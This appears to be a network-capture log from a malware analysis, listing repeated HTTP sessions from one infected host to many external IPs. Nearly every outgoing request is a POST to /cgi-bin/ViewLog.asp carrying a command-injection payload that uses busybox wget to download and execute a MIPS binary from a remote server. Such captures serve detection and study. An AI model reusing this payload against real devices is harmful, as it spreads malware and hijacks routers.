Nov 23, 2023 05:18:03.174211025 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.694174051 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	60512	94.120.32.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.361371040 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:56.518210888 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:02.662223101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.694171906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	53342	94.120.154.231	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.361438990 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.13	59278	85.122.223.134	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.585217953 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	41292	62.72.166.144	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.623236895 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	54322	31.136.72.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.678302050 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.750237942 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.894238949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.926182985 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	57112	85.245.193.210	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.693912029 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	49246	31.44.130.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.715506077 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	37022	31.11.219.33	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.717915058 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	58864	85.201.172.65	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.730915070 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	38294	94.72.88.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.749815941 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.958568096 CET	194	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	49378	94.120.221.33	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.769078970 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	44984	62.116.192.252	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.837994099 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.026376009 CET	358	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:52 GMT Server: Apache Content-Length: 126 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>
Nov 23, 2023 05:17:54.052015066 CET	358	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:52 GMT Server: Apache Content-Length: 126 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	34772	31.136.51.184	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.875565052 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.446240902 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:54.598227978 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.030224085 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.638212919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
